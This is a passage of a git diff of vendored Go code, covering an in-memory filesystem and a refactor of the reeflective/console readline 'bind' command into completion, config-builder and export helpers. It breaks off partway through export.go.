syspath.Split(path) + + dirPart = strings.TrimSuffix(dirPart, "/") + dir, err := rootFS.getDir(dirPart) + if err != nil { + return nil, err + } + + dir.mu.Lock() + defer dir.mu.Unlock() + existing := dir.children[filePart] + if existing != nil { + _, ok := existing.(*File) + if !ok { + return nil, fmt.Errorf("path is a directory: %s: %w", path, fs.ErrExist) + } + } + + newFile := &File{ + name: filePart, + perm: 0666, + content: &bytes.Buffer{}, + } + dir.children[filePart] = newFile + + return newFile, nil +} + +// WriteFile writes data to a file named by filename. +// If the file does not exist, WriteFile creates it with permissions perm +// (before umask); otherwise WriteFile truncates it before writing, without changing permissions. +func (rootFS *FS) WriteFile(path string, data []byte, perm os.FileMode) error { + if !fs.ValidPath(path) { + return fmt.Errorf("invalid path: %s: %w", path, fs.ErrInvalid) + } + + if path == "." { + // root dir + path = "" + } + + f, err := rootFS.create(path) + if err != nil { + return err + } + f.content = bytes.NewBuffer(data) + f.perm = perm + return nil +} + +// Open opens the named file. +func (rootFS *FS) Open(name string) (fs.File, error) { + if !fs.ValidPath(name) { + return nil, &fs.PathError{ + Op: "open", + Path: name, + Err: fs.ErrInvalid, + } + } + + if name == "." { + // root dir + name = "" + } + + child, err := rootFS.get(name) + if err != nil { + return nil, err + } + + switch cc := child.(type) { + case *File: + handle := &File{ + name: cc.name, + perm: cc.perm, + content: bytes.NewBuffer(cc.content.Bytes()), + } + return handle, nil + case *dir: + handle := &fhDir{ + dir: cc, + } + return handle, nil + } + + return nil, fmt.Errorf("unexpected file type in fs: %s: %w", name, fs.ErrInvalid) +} + +// Sub returns an FS corresponding to the subtree rooted at path. +func (rootFS *FS) Sub(path string) (fs.FS, error) { + dir, err := rootFS.getDir(path) + if err != nil { + return nil, err + } + return &FS{dir: dir}, nil +} + +type dir struct { + mu sync.Mutex + name string + perm os.FileMode + modTime time.Time + children map[string]childI +} + +type fhDir struct { + dir *dir + idx int +} + +func (d *fhDir) Stat() (fs.FileInfo, error) { + fi := fileInfo{ + name: d.dir.name, + size: 4096, + modTime: d.dir.modTime, + mode: d.dir.perm | fs.ModeDir, + } + return &fi, nil +} + +func (d *fhDir) Read(b []byte) (int, error) { + return 0, errors.New("is a directory") +} + +func (d *fhDir) Close() error { + return nil +} + +func (d *fhDir) ReadDir(n int) ([]fs.DirEntry, error) { + d.dir.mu.Lock() + defer d.dir.mu.Unlock() + + names := make([]string, 0, len(d.dir.children)) + for name := range d.dir.children { + names = append(names, name) + } + + if n <= 0 { + n = len(names) + } + + out := make([]fs.DirEntry, 0, n) + + for i := d.idx; i < n && i < len(names); i++ { + name := names[i] + child := d.dir.children[name] + + f, isFile := child.(*File) + if isFile { + stat, _ := f.Stat() + out = append(out, &dirEntry{ + info: stat, + }) + } else { + d := child.(*dir) + fi := fileInfo{ + name: d.name, + size: 4096, + modTime: d.modTime, + mode: d.perm | fs.ModeDir, + } + out = append(out, &dirEntry{ + info: &fi, + }) + } + + d.idx = i + } + return out, nil +} + +type File struct { + name string + perm os.FileMode + content *bytes.Buffer + modTime time.Time + closed bool +} + +func (f *File) Stat() (fs.FileInfo, error) { + if f.closed { + return nil, fs.ErrClosed + } + fi := fileInfo{ + name: f.name, + size: int64(f.content.Len()), + modTime: f.modTime, + mode: f.perm, + } + return &fi, nil +} + +func (f *File) Read(b []byte) (int, error) { + if f.closed { + return 0, fs.ErrClosed + } + return f.content.Read(b) +} + +func (f *File) Close() error { + if f.closed { + return fs.ErrClosed + } + f.closed = true + return nil +} + +type childI interface { +} + +type fileInfo struct { + name string + size int64 + modTime time.Time + mode fs.FileMode +} + +// base name of the file +func (fi *fileInfo) Name() string { + return fi.name +} + +// length in bytes for regular files; system-dependent for others +func (fi *fileInfo) Size() int64 { + return fi.size +} + +// file mode bits +func (fi *fileInfo) Mode() fs.FileMode { + return fi.mode +} + +// modification time +func (fi *fileInfo) ModTime() time.Time { + return fi.modTime +} + +// abbreviation for Mode().IsDir() +func (fi *fileInfo) IsDir() bool { + return fi.mode&fs.ModeDir > 0 +} + +// underlying data source (can return nil) +func (fi *fileInfo) Sys() interface{} { + return nil +} + +type dirEntry struct { + info fs.FileInfo +} + +func (de *dirEntry) Name() string { + return de.info.Name() +} + +func (de *dirEntry) IsDir() bool { + return de.info.IsDir() +} + +func (de *dirEntry) Type() fs.FileMode { + return de.info.Mode() +} + +func (de *dirEntry) Info() (fs.FileInfo, error) { + return de.info, nil +} diff --git a/vendor/github.com/reeflective/console/README.md b/vendor/github.com/reeflective/console/README.md index 0d6dc7fb22..e555fd4b49 100644 --- a/vendor/github.com/reeflective/console/README.md +++ b/vendor/github.com/reeflective/console/README.md @@ -90,7 +90,7 @@ is also available in the [wiki](https://github.com/reeflective/console/wiki): ![console](https://github.com/reeflective/console/blob/assets/console.gif) -## Status +## Status The library is in a pre-release candidate status: - Although quite simple and small, it has not been tested heavily. @@ -100,3 +100,13 @@ The library is in a pre-release candidate status: Please open a PR or an issue if you wish to bring enhancements to it. Other contributions, as well as bug fixes and reviews are also welcome. + +## Possible Improvements + +The following is a currently moving list of possible enhancements to be made in order to reach `v1.0`: +- [ ] Ensure to the best extent possible a thread-safe access to the command API. +- [ ] Clearer integration/alignment of the various I/O references between readline and commands. +- [ ] Clearer and sane model for asynchronous control/cancel of commands. +- [ ] Allow users to run the console command trees in one-exec style, with identical behavior. +- [ ] Test suite for most important or risky code paths. +- [ ] Set of helper functions for application-related directories. diff --git a/vendor/github.com/reeflective/console/command.go b/vendor/github.com/reeflective/console/command.go index 2e019480ef..d3858cd3e9 100644 --- a/vendor/github.com/reeflective/console/command.go +++ b/vendor/github.com/reeflective/console/command.go @@ -1,8 +1,6 @@ package console import ( - "strings" - "github.com/spf13/cobra" ) @@ -75,38 +73,3 @@ next: c.filters = updated } - -func (c *Console) isFiltered(cmd *cobra.Command) bool { - if cmd.Annotations == nil { - return false - } - - // Get the filters on the command - filterStr := cmd.Annotations[CommandFilterKey] - filters := strings.Split(filterStr, ",") - - for _, cmdFilter := range filters { - for _, filter := range c.filters { - if cmdFilter != "" && cmdFilter == filter { - return true - } - } - } - - return false -} - -// hide commands that are filtered so that they are not -// shown in the help strings or proposed as completions. -func (c *Console) hideFilteredCommands() { - for _, cmd := range c.activeMenu().Commands() { - // Don't override commands if they are already hidden - if cmd.Hidden { - continue - } - - if c.isFiltered(cmd) { - cmd.Hidden = true - } - } -} diff --git a/vendor/github.com/reeflective/console/commands/readline/bind.go b/vendor/github.com/reeflective/console/commands/readline/bind.go index 2099658aef..dca0eb2e2b 100644 --- a/vendor/github.com/reeflective/console/commands/readline/bind.go +++ b/vendor/github.com/reeflective/console/commands/readline/bind.go @@ -4,13 +4,13 @@ import ( "errors" "fmt" "os" - "sort" "strings" - "github.com/reeflective/readline" - "github.com/reeflective/readline/inputrc" "github.com/rsteube/carapace" "github.com/spf13/cobra" + + "github.com/reeflective/readline" + "github.com/reeflective/readline/inputrc" ) // Bind returns a command named `bind`, for manipulating readline keymaps and bindings. @@ -20,15 +20,25 @@ func Bind(shell *readline.Shell) *cobra.Command { Short: "Display or modify readline key bindings", Long: `Manipulate readline keymaps and bindings. -Basic binding examples: - bind "\C-x\C-r": re-read-init-file // C-x C-r to reload the inputrc file, in the default keymap. - bind -m vi-insert "\C-l" clear-screen // C-l to clear-screen in vi-insert mode - bind -m menu-complete '\C-n' menu-complete // C-n to cycle through choices in the completion keymap. - +Changing binds: Note that the keymap name is optional, and if omitted, the default keymap is used. The default keymap is 'vi' only if 'set editing-mode vi' is found in inputrc , and unless the -m option is used to set a different keymap. -Also, note that the bind [seq] [command] slightly differs from the original bash 'bind' command.`, +Also, note that the bind [seq] [command] slightly differs from the original bash 'bind' command. + +Exporting binds: +- Since all applications always look up to the same file for a given user, + the export command does not allow to write and modify this file itself. +- Also, since saving the entire list of options and bindings in a different + file for each application would also defeat the purpose of .inputrc.`, + Example: `Changing binds: + bind "\C-x\C-r": re-read-init-file # C-x C-r to reload the inputrc file, in the default keymap. + bind -m vi-insert "\C-l" clear-screen # C-l to clear-screen in vi-insert mode + bind -m menu-complete '\C-n' menu-complete # C-n to cycle through choices in the completion keymap. + +Exporting binds: + bind --binds-rc --lib --changed # Only changed options/binds to stdout applying to all apps using this lib + bind --app OtherApp -c # Changed options, applying to an app other than our current shell one`, } // Flags @@ -44,8 +54,27 @@ Also, note that the bind [seq] [command] slightly differs from the original bash cmd.Flags().StringP("unbind", "u", "", "Unbind all keys which are bound to the named function") cmd.Flags().StringP("remove", "r", "", "Remove the bindings for KEYSEQ") cmd.Flags().StringP("file", "f", "", "Read key bindings from FILENAME") - // cmd.Flags().StringP("execute", "x", "", "Cause SHELL-COMMAND to be executed whenever KEYSEQ is entered") - // cmd.Flags().BoolP("execute-rc", "X", false, "List key sequences bound with -x and associated commands in a form that can be reused as input") + cmd.Flags().StringP("app", "A", "", "Optional application name (if empty/not used, the current app)") + cmd.Flags().BoolP("changed", "c", false, "Only export options modified since app start: maybe not needed, since no use for it") + cmd.Flags().BoolP("lib", "L", false, "Like 'app', but export options/binds for all apps using this specific library") + cmd.Flags().BoolP("self-insert", "I", false, "If exporting bind sequences, also include the sequences mapped to self-insert") + + // Completions + comps := carapace.Gen(cmd) + flagComps := make(carapace.ActionMap) + + flagComps["keymap"] = completeKeymaps(shell, cmd) + flagComps["query"] = completeCommands(shell, cmd) + flagComps["unbind"] = completeCommands(shell, cmd) + flagComps["remove"] = completeBindSequences(shell, cmd) + flagComps["file"] = carapace.ActionFiles() + + comps.FlagCompletion(flagComps) + + comps.PositionalCompletion( + carapace.ActionValues().Usage("key sequence"), + completeCommands(shell, cmd), + ) // Run implementation cmd.RunE = func(cmd *cobra.Command, args []string) error { @@ -55,358 +84,222 @@ Also, note that the bind [seq] [command] slightly differs from the original bash keymap = string(shell.Keymap.Main()) } - // Listing actions - switch { - // Function names - case cmd.Flags().Changed("list"): - for name := range shell.Keymap.Commands() { - fmt.Println(name) - } + var name string + reeflective := "reeflective" + buf := &cfgBuilder{buf: &strings.Builder{}} - // Sequences to function names - case cmd.Flags().Changed("binds"): - shell.Keymap.PrintBinds(keymap, false) - return nil + // First prepare the branching strings for any + // needed conditionals (App, Lib, keymap, etc) + changed := cmd.Flags().Changed("changed") + rm := cmd.Flags().Changed("remove") + unbind := cmd.Flags().Changed("unbind") + app := cmd.Flags().Changed("app") + lib := cmd.Flags().Changed("lib") - case cmd.Flags().Changed("binds-rc"): - shell.Keymap.PrintBinds(keymap, true) - return nil + // 1 - SIMPLE QUERIES ------------------------------------------------ - // Macros - case cmd.Flags().Changed("macros"): - binds := shell.Config.Binds[keymap] - if len(binds) == 0 { - return nil - } - var macroBinds []string + // All flags and args that are "exiting the command + // after run" are listed and evaluated first. - for keys, bind := range binds { - if bind.Macro { - macroBinds = append(macroBinds, inputrc.Escape(keys)) - } + // Function names + if cmd.Flags().Changed("list") { + for name := range shell.Keymap.Commands() { + fmt.Println(name) } - sort.Strings(macroBinds) - - for _, key := range macroBinds { - action := inputrc.Escape(binds[inputrc.Unescape(key)].Action) - fmt.Printf("%s outputs %s\n", key, action) - } + return nil + } + // 2 - Query binds for function + if cmd.Flags().Changed("query") { + listBinds(shell, buf, cmd, keymap) + fmt.Fprint(cmd.OutOrStdout(), buf.buf.String()) return nil + } - case cmd.Flags().Changed("macros-rc"): - binds := shell.Config.Binds[keymap] - if len(binds) == 0 { - return nil + // From this point on, some flags don't exit after printing + // their respective listings, since we can combine and output + // various types of stuff at once, for configs or display. + // + // We can even read a file for binds, remove some of them, + // and display all or specific sections of our config in + // a single call, with multiple flags of all sorts. + + // 1 - Apply any changes we want from a file first. + if cmd.Flags().Changed("file") { + if err := readFileConfig(shell, cmd, keymap); err != nil { + return err } - var macroBinds []string + } - for keys, bind := range binds { - if bind.Macro { - macroBinds = append(macroBinds, inputrc.Escape(keys)) - } - } + // Remove anything we might have been asked to. + if unbind { + unbindKeys(shell, cmd, keymap) + } - sort.Strings(macroBinds) + if rm { + removeCommands(shell, cmd, keymap) + } - for _, key := range macroBinds { - action := inputrc.Escape(binds[inputrc.Unescape(key)].Action) - fmt.Printf("\"%s\": \"%s\"\n", key, action) - } + // 2 - COMPLEX QUERIES ------------------------------------------------ - return nil + // Write App/Lib headers for + if app { + fmt.Fprintf(buf, "# %s application (generated)\n", name) + buf.newCond(name) + } else if lib { + fmt.Fprintf(buf, "# %s/readline library-specific (generated)\n", reeflective) + buf.newCond(reeflective) + } - // Global readline options - case cmd.Flags().Changed("vars"): - var variables []string + // Global option variables + if cmd.Flags().Changed("vars") { + listVars(shell, buf, cmd) + } else if cmd.Flags().Changed("vars-rc") { + listVarsRC(shell, buf, cmd) + } - for variable := range shell.Config.Vars { - variables = append(variables, variable) - } + // Sequences to function names + if cmd.Flags().Changed("binds") { + listBinds(shell, buf, cmd, keymap) + } else if cmd.Flags().Changed("binds-rc") { + listBindsRC(shell, buf, cmd, keymap) + } - sort.Strings(variables) + // Macros + if cmd.Flags().Changed("macros") { + listMacros(shell, buf, cmd, keymap) + } else if cmd.Flags().Changed("macros-rc") { + listMacrosRC(shell, buf, cmd, keymap) + } - for _, variable := range variables { - value := shell.Config.Vars[variable] - fmt.Printf("%s is set to `%v'\n", variable, value) - } + // Close any App/Lib conditional + buf.endCond() + // The command has performed an action, so any binding + // with positional arguments is not considered or evaluated. + if buf.buf.Len() > 0 { + fmt.Fprintln(cmd.OutOrStdout(), buf.buf.String()) return nil - - case cmd.Flags().Changed("vars-rc"): - var variables []string - - for variable := range shell.Config.Vars { - variables = append(variables, variable) - } - - sort.Strings(variables) - - for _, variable := range variables { - value := shell.Config.Vars[variable] - fmt.Printf("set %s %v\n", variable, value) - } - + } else if app || lib || changed || rm || unbind { return nil + } - // Query binds for function - case cmd.Flags().Changed("query"): - binds := shell.Config.Binds[keymap] - if binds == nil { - return nil - } - - command, _ := cmd.Flags().GetString("query") - - // Make a list of all sequences bound to each command. - cmdBinds := make([]string, 0) - - for key, bind := range binds { - if bind.Action != command { - continue - } - - cmdBinds = append(cmdBinds, inputrc.Escape(key)) - } - - sort.Strings(cmdBinds) - - switch { - case len(cmdBinds) == 0: - case len(cmdBinds) > 5: - var firstBinds []string - - for i := 0; i < 5; i++ { - firstBinds = append(firstBinds, "\""+cmdBinds[i]+"\"") - } + // 3 - CREATE NEw BINDS ----------------------------------------------- - bindsStr := strings.Join(firstBinds, ", ") - fmt.Printf("%s can be found on %s ...\n", command, bindsStr) + // Bind actions. + // Some keymaps are aliases of others, so use either + // all equivalents or fallback to the relevant keymap. + if len(args) < 2 { + return errors.New("Usage: bind [-m keymap] [keyseq] [command]") + } - default: - var firstBinds []string + // The key sequence is an escaped string, so unescape it. + seq := inputrc.Unescape(args[0]) - for _, bind := range cmdBinds { - firstBinds = append(firstBinds, "\""+bind+"\"") - } + var found bool - bindsStr := strings.Join(firstBinds, ", ") - fmt.Printf("%s can be found on %s\n", command, bindsStr) + for command := range shell.Keymap.Commands() { + if command == args[1] { + found = true + break } - - return nil - - // case cmd.Flags().Changed("execute-rc"): - // return nil } - // Bind actions. - // Some keymaps are aliases of others, so use either all equivalents or fallback to the relevant keymap. - switch { - case cmd.Flags().Changed("unbind"): - command, _ := cmd.Flags().GetString("unbind") - - unbind := func(keymap string) { - binds := shell.Config.Binds[keymap] - if binds == nil { - return - } - - cmdBinds := make([]string, 0) - - for key, bind := range binds { - if bind.Action != command { - continue - } - - cmdBinds = append(cmdBinds, key) - } - - for _, key := range cmdBinds { - delete(binds, key) - } - } - - applyToKeymap(keymap, unbind) - - case cmd.Flags().Changed("remove"): - seq, _ := cmd.Flags().GetString("remove") - - removeBind := func(keymap string) { - binds := shell.Config.Binds[keymap] - if binds == nil { - return - } - - cmdBinds := make([]string, 0) - - for key := range binds { - if key != seq { - continue - } - - cmdBinds = append(cmdBinds, key) - } - - for _, key := range cmdBinds { - delete(binds, key) - } - } + if !found { + return fmt.Errorf("Unknown command: %s", args[1]) + } - applyToKeymap(keymap, removeBind) + // If the keymap doesn't exist, create it. + if shell.Config.Binds[keymap] == nil { + shell.Config.Binds[keymap] = make(map[string]inputrc.Bind) + } - case cmd.Flags().Changed("file"): - fileF, _ := cmd.Flags().GetString("file") + // Adjust some keymaps (aliases of each other). + bindkey := func(keymap string) { + shell.Config.Binds[keymap][seq] = inputrc.Bind{Action: args[1]} + } - file, err := os.Stat(fileF) - if err != nil { - return err - } + // (Bind the key sequence to the command) + applyToKeymap(keymap, bindkey) - if err = inputrc.ParseFile(file.Name(), shell.Config, shell.Opts...); err != nil { - return err - } + return nil + } - fmt.Printf("Read %s\n", file.Name()) - // case cmd.Flags().Changed("execute"): + return cmd +} - // Else if sufficient arguments, bind the key sequence to the command. - default: - if len(args) < 2 { - return errors.New("Usage: bind [-m keymap] [keyseq] [command]") - } +// +// Binding & Unbinding functions --------------------------------- +// - // The key sequence is an escaped string, so unescape it. - seq := inputrc.Unescape(args[0]) +func readFileConfig(sh *readline.Shell, cmd *cobra.Command, _ string) error { + fileF, _ := cmd.Flags().GetString("file") - var found bool + file, err := os.Stat(fileF) + if err != nil { + return err + } - for command := range shell.Keymap.Commands() { - if command == args[1] { - found = true - break - } - } + if err = inputrc.ParseFile(file.Name(), sh.Config, sh.Opts...); err != nil { + return err + } - if !found { - return fmt.Errorf("Unknown command: %s", args[1]) - } + fmt.Printf("Read and parsed %s\n", file.Name()) - // If the keymap doesn't exist, create it. - if shell.Config.Binds[keymap] == nil { - shell.Config.Binds[keymap] = make(map[string]inputrc.Bind) - } + return nil +} - // Adjust some keymaps (aliases of each other). - bindkey := func(keymap string) { - shell.Config.Binds[keymap][seq] = inputrc.Bind{Action: args[1]} - } +func unbindKeys(sh *readline.Shell, cmd *cobra.Command, keymap string) { + command, _ := cmd.Flags().GetString("unbind") - // (Bind the key sequence to the command.) - applyToKeymap(keymap, bindkey) + unbind := func(keymap string) { + binds := sh.Config.Binds[keymap] + if binds == nil { + return } - return nil - } - - // *** Completions *** - comps := carapace.Gen(cmd) - flagComps := make(carapace.ActionMap) + cmdBinds := make([]string, 0) - // Flags - flagComps["keymap"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action { - results := make([]string, 0) + for key, bind := range binds { + if bind.Action != command { + continue + } - for name := range shell.Config.Binds { - results = append(results, name) + cmdBinds = append(cmdBinds, key) } - return carapace.ActionValues(results...).Tag("keymaps").Usage("keymap") - }) - - functionsComps := carapace.ActionCallback(func(c carapace.Context) carapace.Action { - results := make([]string, 0) - - for name := range shell.Keymap.Commands() { - results = append(results, name) + for _, key := range cmdBinds { + delete(binds, key) } + } - return carapace.ActionValues(results...).Tag("commands").Usage("command") - }) - - bindSequenceComps := carapace.ActionCallback(func(ctx carapace.Context) carapace.Action { - // Get the keymap. - var keymap string - - if cmd.Flags().Changed("keymap") { - keymap, _ = cmd.Flags().GetString("keymap") - } + applyToKeymap(keymap, unbind) +} - if keymap == "" { - keymap = string(shell.Keymap.Main()) - } +func removeCommands(sh *readline.Shell, cmd *cobra.Command, keymap string) { + seq, _ := cmd.Flags().GetString("remove") - // Get the binds. - binds := shell.Config.Binds[keymap] + removeBind := func(keymap string) { + binds := sh.Config.Binds[keymap] if binds == nil { - return carapace.ActionValues().Usage("sequence") + return } - // Make a list of all sequences bound to each command, with descriptions. cmdBinds := make([]string, 0) - insertBinds := make([]string, 0) - for key, bind := range binds { - if bind.Action == "self-insert" { - insertBinds = append(insertBinds, "\""+inputrc.Escape(key)+"\"") - } else { - cmdBinds = append(cmdBinds, "\""+inputrc.Escape(key)+"\"") - cmdBinds = append(cmdBinds, bind.Action) + for key := range binds { + if key != seq { + continue } - } - - return carapace.Batch( - carapace.ActionValues(insertBinds...).Tag(fmt.Sprintf("self-insert binds (%s)", keymap)).Usage("sequence"), - carapace.ActionValuesDescribed(cmdBinds...).Tag(fmt.Sprintf("non-insert binds (%s)", keymap)).Usage("sequence"), - ).ToA() - }) - - flagComps["query"] = functionsComps - flagComps["unbind"] = functionsComps - flagComps["file"] = carapace.ActionFiles() - flagComps["remove"] = bindSequenceComps - - comps.FlagCompletion(flagComps) - - // Positional arguments - comps.PositionalCompletion( - carapace.ActionValues().Usage("sequence"), - functionsComps, - ) - - return cmd -} -func applyToKeymap(keymap string, bind func(keymap string)) { - switch keymap { - case "emacs", "emacs-standard": - for _, km := range []string{"emacs", "emacs-standard"} { - bind(km) + cmdBinds = append(cmdBinds, key) } - case "emacs-ctlx": - for _, km := range []string{"emacs-ctlx", "emacs-standard", "emacs"} { - bind(km) - } - case "emacs-meta": - for _, km := range []string{"emacs-meta", "emacs-standard", "emacs"} { - bind(km) - } - case "vi", "vi-move", "vi-command": - for _, km := range []string{"vi", "vi-move", "vi-command"} { - bind(km) + + for _, key := range cmdBinds { + delete(binds, key) } - default: - bind(keymap) } + + applyToKeymap(keymap, removeBind) } diff --git a/vendor/github.com/reeflective/console/commands/readline/commands.go b/vendor/github.com/reeflective/console/commands/readline/commands.go index e3ec1bf03b..cb89c6c650 100644 --- a/vendor/github.com/reeflective/console/commands/readline/commands.go +++ b/vendor/github.com/reeflective/console/commands/readline/commands.go @@ -1,8 +1,9 @@ package readline import ( - "github.com/reeflective/readline" "github.com/spf13/cobra" + + "github.com/reeflective/readline" ) // Commands returns a command named `readline`, with subcommands dedicated diff --git a/vendor/github.com/reeflective/console/commands/readline/completers.go b/vendor/github.com/reeflective/console/commands/readline/completers.go new file mode 100644 index 0000000000..d199852cad --- /dev/null +++ b/vendor/github.com/reeflective/console/commands/readline/completers.go @@ -0,0 +1,127 @@ +package readline + +/* + console - Closed-loop console application for cobra commands + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + + "github.com/reeflective/readline" + "github.com/reeflective/readline/inputrc" +) + +func completeKeymaps(sh *readline.Shell, _ *cobra.Command) carapace.Action { + return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + results := make([]string, 0) + + for name := range sh.Config.Binds { + results = append(results, name) + } + + return carapace.ActionValues(results...).Tag("keymaps").Usage("keymap") + }) +} + +func completeBindSequences(sh *readline.Shell, cmd *cobra.Command) carapace.Action { + return carapace.ActionCallback(func(ctx carapace.Context) carapace.Action { + // Get the keymap. + var keymap string + + if cmd.Flags().Changed("keymap") { + keymap, _ = cmd.Flags().GetString("keymap") + } + + if keymap == "" { + keymap = string(sh.Keymap.Main()) + } + + // Get the binds. + binds := sh.Config.Binds[keymap] + if binds == nil { + return carapace.ActionValues().Usage("sequence") + } + + // Make a list of all sequences bound to each command, with descriptions. + var cmdBinds, insertBinds []string + + for key, bind := range binds { + val := inputrc.Escape(key) + + if bind.Action == "self-insert" { + insertBinds = append(insertBinds, val) + } else { + cmdBinds = append(cmdBinds, val) + cmdBinds = append(cmdBinds, bind.Action) + } + } + + // Build the list of bind sequences bompletions + completions := carapace.Batch( + carapace.ActionValues(insertBinds...).Tag(fmt.Sprintf("self-insert binds (%s)", keymap)).Usage("sequence"), + carapace.ActionValuesDescribed(cmdBinds...).Tag(fmt.Sprintf("non-insert binds (%s)", keymap)).Usage("sequence"), + ).ToA().Suffix("\"") + + // We're lucky and be particularly cautious about completion here: + // Look for the current argument and check whether or not it's quoted. + // If yes, only include quotes at the end of the inserted value. + // If no quotes, include them in both. + if ctx.Value == "" { + completions = completions.Prefix("\"") + } + + return completions + }) +} + +func completeCommands(sh *readline.Shell, _ *cobra.Command) carapace.Action { + return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + results := make([]string, 0) + + for name := range sh.Keymap.Commands() { + results = append(results, name) + } + + return carapace.ActionValues(results...).Tag("commands").Usage("command") + }) +} + +func applyToKeymap(keymap string, bind func(keymap string)) { + switch keymap { + case "emacs", "emacs-standard": + for _, km := range []string{"emacs", "emacs-standard"} { + bind(km) + } + case "emacs-ctlx": + for _, km := range []string{"emacs-ctlx", "emacs-standard", "emacs"} { + bind(km) + } + case "emacs-meta": + for _, km := range []string{"emacs-meta", "emacs-standard", "emacs"} { + bind(km) + } + case "vi", "vi-move", "vi-command": + for _, km := range []string{"vi", "vi-move", "vi-command"} { + bind(km) + } + default: + bind(keymap) + } +} diff --git a/vendor/github.com/reeflective/console/commands/readline/config.go b/vendor/github.com/reeflective/console/commands/readline/config.go new file mode 100644 index 0000000000..b435dc66db --- /dev/null +++ b/vendor/github.com/reeflective/console/commands/readline/config.go @@ -0,0 +1,54 @@ +package readline + +/* + console - Closed-loop console application for cobra commands + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "strings" +) + +// manages display of .inputrc-compliant listings/snippets. +type cfgBuilder struct { + buf *strings.Builder + names []string +} + +// Write writes a single inputrc line with the appropriate contextual indent. +func (cfg *cfgBuilder) Write(data []byte) (int, error) { + indent := strings.Repeat(" ", 4*len(cfg.names)) + + iLen, _ := cfg.buf.Write([]byte(indent)) + bLen, err := cfg.buf.Write(data) + + return iLen + bLen, err +} + +func (cfg *cfgBuilder) newCond(name string) { + cfg.Write([]byte(fmt.Sprintf("$if %s\n", name))) + cfg.names = append(cfg.names, name) +} + +func (cfg *cfgBuilder) endCond() { + if len(cfg.names) == 0 { + return + } + + cfg.names = cfg.names[:len(cfg.names)-1] + cfg.Write([]byte("$endif\n")) +} diff --git a/vendor/github.com/reeflective/console/commands/readline/export.go b/vendor/github.com/reeflective/console/commands/readline/export.go new file mode 100644 index 0000000000..25ff043997 --- /dev/null +++ b/vendor/github.com/reeflective/console/commands/readline/export.go @@ -0,0 +1,389 @@ +package readline + +/* + console - Closed-loop console application for cobra commands + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "sort" + "strings" + + "github.com/spf13/cobra" + + "github.com/reeflective/readline" + "github.com/reeflective/readline/inputrc" +) + +const ( + printOn = "on" + printOff = "off" +) + +// listVars prints the readline global option variables in human-readable format. +func listVars(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command) { + var vars map[string]interface{} + + // Apply other filters to our current list of vars. + if cmd.Flags().Changed("changed") { + vars = cfgChanged.Vars + } else { + vars = shell.Config.Vars + } + + if len(vars) == 0 { + return + } + + variables := make([]string, len(shell.Config.Vars)) + + for variable := range shell.Config.Vars { + variables = append(variables, variable) + } + + sort.Strings(variables) + + fmt.Fprintln(buf) + fmt.Fprintln(buf, "======= Global Variables =========") + fmt.Fprintln(buf) + + for _, variable := range variables { + value := shell.Config.Vars[variable] + if value == nil || variable == "" { + continue + } + + fmt.Fprintf(buf, "%s is set to `%v'\n", variable, value) + } +} + +// listVarsRC returns the readline global options, split according to which are +// supported by which library, and output in .inputrc compliant format. +func listVarsRC(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command) { + var vars map[string]interface{} + + // Apply other filters to our current list of vars. + if cmd.Flags().Changed("changed") { + vars = cfgChanged.Vars + } else { + vars = shell.Config.Vars + } + + if len(vars) == 0 { + return + } + + // Include print all legacy options. + // Filter them in a separate groups only if NOT being used with --app/--lib + if !cmd.Flags().Changed("app") && !cmd.Flags().Changed("lib") { + var legacy []string + for variable := range filterLegacyVars(vars) { + legacy = append(legacy, variable) + } + + sort.Strings(legacy) + + fmt.Fprintln(buf, "# General/legacy Options (generated from reeflective/readline)") + + for _, variable := range legacy { + value := shell.Config.Vars[variable] + var printVal string + + if on, ok := value.(bool); ok { + if on { + printVal = "on" + } else { + printVal = "off" + } + } else { + printVal = fmt.Sprintf("%v", value) + } + + fmt.Fprintf(buf, "set %s %s\n", variable, printVal) + } + + // Now we print the App/lib specific. + var reef []string + + for variable := range filterAppLibVars(vars) { + reef = append(reef, variable) + } + + sort.Strings(reef) + + fmt.Fprintln(buf) + fmt.Fprintln(buf, "# reeflective/readline specific options (generated)") + fmt.Fprintln(buf, "# The following block is not implemented in GNU C Readline.") + buf.newCond("reeflective") + + for _, variable := range reef { + value := shell.Config.Vars[variable] + var printVal string + + if on, ok := value.(bool); ok { + if on { + printVal = printOn + } else { + printVal = printOff + } + } else { + printVal = fmt.Sprintf("%v", value) + } + + fmt.Fprintf(buf, "set %s %s\n", variable, printVal) + } + + buf.endCond() + + return + } + + fmt.Fprintln(buf, "# General options (legacy and reeflective)") + + var all []string + for variable := range vars { + all = append(all, variable) + } + sort.Strings(all) + + for _, variable := range all { + value := shell.Config.Vars[variable] + var printVal string + + if on, ok := value.(bool); ok { + if on { + printVal = "on" + } else { + printVal = "off" + } + } else { + printVal = fmt.Sprintf("%v", value) + } + + fmt.Fprintf(buf, "set %s %s\n", variable, printVal) + } +} + +// listBinds prints the bind sequences for a given keymap, +// according to command filter flags, in human-readable format. +func listBinds(shell *readline.Shell, buf *cfgBuilder, cmd 